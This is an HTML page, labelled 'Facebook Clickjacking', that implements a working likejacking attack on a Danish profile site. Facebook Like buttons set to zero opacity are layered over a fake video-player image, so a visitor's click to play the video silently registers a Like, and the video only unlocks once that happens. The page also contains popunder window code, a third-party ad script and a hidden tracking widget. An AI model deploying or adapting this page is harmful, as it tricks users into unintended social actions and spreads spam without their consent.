Facebook Clickjacking
abap
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="https://www.facebook.com/2008/fbml">
<head>
<title>Ask Hybel | Profil</title>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta property="og:image" content="http://www.askhybel.dk/wp-content/uploads/2010/04/n702077463_2251493_797-225x300.jpg" />
<meta property="og:title" content="Ask Hybel | Profil" />
<meta property="og:type" content="movie" />
<meta property="og:url" content="http://askhybel.dk/profil" />
<meta property="og:site_name" content="Ask Hybel" />
<meta property="og:description" content="Ask Hybel beskæftiger sig med rådgivning inden for digital kommunikation og -forretning, hvor især den tekniske del af webudvikling har hans fokus. Husk at følge med på http://askhybel.dk/facebook"/>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script type="text/javascript" src="http://c.ad6media.fr/l.js"></script>
<script type="text/javascript" src="http://connect.facebook.net/da_DK/all.js"></script>
<script type="text/javascript" src='http://static.ak.fbcdn.net/connect.php/js/FB.Share'></script>
<link href='http://fonts.googleapis.com/css?family=Lobster' rel='stylesheet' type='text/css'>
<style type="text/css">
body { background-color:#ffffff; color:#000000; font-family:Verdana, Geneva, sans-serif; font-size:12px;}img{border:none;}
a{color:#8a96b5; text-decoration:none; font-size:15px; font-weight:bold;} a:hover{color:#000; text-align:none; font-size:15px;}
.main{ width:100%; margin:0 0 0 0;}
.header{ position:relative; width:800px; margin:auto;} .logo{ position:relative; float:left; height:155px; width:292px; overflow:hidden;}
.titre_video{ position:relative; float:left; font-size:32px; font-family:Lobster; color:#000000; margin-left:35px; width:460px;}
.content_video{ width:100%; position:relative; margin-top:-40px;}
.pub_top{background-color:#424242; width:800px; height:120px; position:relative; margin:auto; text-align:center; padding-top:11px; z-index:1000;}
.share{width:800px; height:30px; position:relative; margin:auto;}
.share p{background-color:#424242; width:280px; height:30px; margin-left:450px; margin-top:20px; padding-top:10px; padding-left:10px;}
.clear{clear:both; display:block;}
.video_player_nav{width:1090px; position:relative; margin:auto; height:430px; background-color:#424242; text-align:center;}
.the_player{margin:auto; position:relative; width:640px; display:none;}
.before_mono{margin:auto; position:relative; width:640px;}
.before_mono_share{margin:auto; position:relative; width:640px; display:none;}
.nav_left{width:200px; height:100px; position:absolute; float:left; left:10px; top:10px; z-index:1000;}
.nav_right{width:200px; height:100px; position:absolute; float:left; right:10px; top:10px; z-index:1000;}
.nav_left div, .nav_right div{font-size:17px; font-family:Lobster; padding-top:10px; padding-bottom:20px;}
.pub_sous_video{margin:5px 5px 5px 5px; position:absolute; right:220px; bottom:3px;}
.nbr_vue{position:absolute; left:225px; margin-top:5px; bottom:3px;}
.text_descr{background-color:#FFF; width:800px; height:auto; position:relative; margin:auto; padding:10px 10px 10px 10px; color:black; margin-top:10px; margin-bottom:20px;}
.text_descr span{ text-align:center; position:relative; display:block; margin-bottom:5px;}
.pub_bottom{ text-align:center; margin:auto; padding:5px 5px 5px 25px;}
.commentaire{background-color:white; width:800px; text-align:center;margin:auto; position:relative;}
.copy, .copy a{width:100%; height:auto; color:#FFFFFF; margin:auto; margin:10px 0 10px 0; font-size:15px; font-family:Lobster; font-weight:100; text-align:center;}
</style>
<!--[if IE]>
<style type="text/css">
.share{width:800px; height:60px; position:relative; z-index:100;}
.share p{background-color:#424242; width:280px; height:30px; margin-left:450px; margin-top:20px; padding-top:10px; padding-left:10px;}
</style>
<![endif]-->
</head>
<body onload="wait(); popunderclick();">
<script type="text/javascript" src="http://connect.facebook.net/da_DK/all.js#xfbml=1"></script>
<script type="text/javascript">
window.fbAsyncInit = function() {
FB.init({status: true, cookie: true,xfbml: true});};
(function() {
var e = document.createElement('script'); e.async = true;
e.src = document.location.protocol +
'//connect.facebook.net/da_DK/all.js';
document.getElementById('fb-root').appendChild(e);
}());
</script>
<div id="fb-root"></div>
<div class="main">
<div class="header">
<div class="logo">
</div><div class="titre_video">Ask Hybel | Profil</div>
</div>
<div class="clear"></div>
<div class="before_mono" id="before">
<div id="go_jaime" style="z-index:10;">
<div style="margin-top:166px; margin-left:258px; position:absolute; z-index:100; left:0; opacity:0; filter:alpha(opacity=0); -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';" onmouseover="wait2();">
<div style="width:35px; height:50px; z-index:10000; display:block; position:absolute;"></div>
<fb:like href="http://askhybel.dk/profil/index.html" layout="button_count" show_faces="false" width="100" font="" style='border:none; overflow:hidden; width:130px; height:21px;'></fb:like>
<br />
<fb:like href="http://askhybel.dk/profil/index.html" layout="button_count" show_faces="false" width="100" font="" style='border:none; overflow:hidden; width:130px; height:21px; margin-top:-2px;'></fb:like>
</div>
<div style="margin-top:377px; margin-left:-18px; position:absolute; z-index:100; left:0; opacity:0;filter:alpha(opacity=0); -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';">
<div style="width:33px; height:30px; z-index:10000; display:block; position:absolute;"></div>
<fb:like href="http://askhybel.dk/profil/index.html" layout="button_count" show_faces="false" width="100" font="" style='border:none; overflow:hidden; width:130px; height:21px;'></fb:like>
</div>
<div style="background:url(/profil_video/img/before_mono.png) center top no-repeat; position:absolute; left:0px; top:0px; z-index:10; width:640px; height:400px;"></div>
<div style="background:url(/profil_video/img/ask.png) center top no-repeat; position:absolute; left:0px; top:0px; z-index:1; width:640px; height:400px;"></div>
</div>
</div>
<div class="before_mono_share" id="share">
<div id="go_jaime" style="margin:auto; z-index:10; width:640px; height:400px;">
<div style="margin-top:185px; margin-left:245px; position:absolute; z-index:100; left:0px;" onClick="afficher_lecteur3();">
<a name="fb_share" rel="nofollow" type="button_count" onclick='openshare(); popunderclick();'>Del videoen</a>
</div>
<div style="margin-top:377px; margin-left:-16px; position:absolute; z-index:100; left:0px; opacity:0; filter:alpha(opacity=0); -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';">
<div style="width:33px; height:30px; z-index:10000; display:block; position:absolute;"></div>
<!--<fb:like href="http://askhybel.dk/profil/index.html" layout="button_count" show_faces="false" width="100" style="border:none; overflow:hidden; width:130px; height:21px; opacity:0;filter:alpha(opacity=0); -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';"></fb:like>-->
</div>
</div>
<div style="background:url(/profil_video/img/before_share.png) center top no-repeat; position:absolute; left:0px; top:0px; z-index:10; width:640px; height:400px;"></div>
<div style="background:url(/profil_video/img/ask.png) center top no-repeat; position:absolute; left:0px; top:0px; z-index:1; width:640px; height:400px;"></div>
</div>
<div class="the_player" id="okvideo"><iframe width="630" height="400" src="http://www.youtube.com/embed/_Fv1oB8Lhx0" frameborder="0" allowfullscreen></iframe>
</div>
</div>
</div>
<script type="text/javascript" language="javascript">
function openshare(){
window.open("http://www.facebook.com/sharer/sharer.php?u=http://askhybel.dk/profil","sharebox", "toolbar=no,menubar=0,status=0,copyhistory=0,scrollbars=yes,resizable=1,location=0,Width=800,Height=500,alwaysRaised=1");
}
FB.Event.subscribe('edge.create',
function(response) {
console.log('Share ?');
var_fb1_share = true;
p445();
afficher_lecteur3();
}
);
function p445(){
$.ajax({
error: function(){console.log('Err count like');},
url: 'http://'+document.domain+'/WW91IGV4cGVjdGVkIHdoYXQ/',
success: function(data) {console.log('Ok');}
});
}
function afficher_lecteur3(){
if(var_fb1_share == false){
setTimeout("right();",7000);
}else{
$('#before').fadeOut(100, function(){ $('#okvideo').fadeIn(); });
alert('Fang mig på 31534271 eller askhybel@gmail.com');
}
}
function right(){
$('#share').fadeOut(100, function(){ $('#okvideo').fadeIn(); });
}
var winfeatures="toolbar=no,menubar=0,status=0,copyhistory=0,scrollbars=yes,resizable=1,location=0,Width=1500,Height=760";
var once_per_session=2;
function get_cookie(Name) {
var search = Name + "=";
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
function loadornot(){
if (get_cookie('popunder')==''){
loadpopunder();
document.cookie="popunder=yes"
}
}
function loadpopunder(){
win2=document.open(popunder,"_blank",winfeatures)
win2.blur()
window.focus()
}
function popunderclick(){
if (once_per_session==0)
loadpopunder()
else
loadornot()
}
var_fb1_share = false;
function wait(){
setTimeout("sh4r3();",60000);
}
function wait2(){
setTimeout("sh4r3();",10000);
}
function sh4r3(){
if(var_fb1_share == false){
$('#before').fadeOut(100, function(){ $('#share').fadeIn(); });
}
}
</script>
<div style="visibility:hidden;"><script id="_wauvvm">var _wau = _wau || []; _wau.push(["classic", "e6cbttzl2wmp", "vvm"]);(function() { var s=document.createElement("script"); s.async=true; s.src="http://widgets.amung.us/classic.js";document.getElementsByTagName("head")[0].appendChild(s);})();</script>
</div>
</body>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-15785877-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</html>
<footer>? <a href="http://askhybel.dk">askhybel.dk</a></footer>
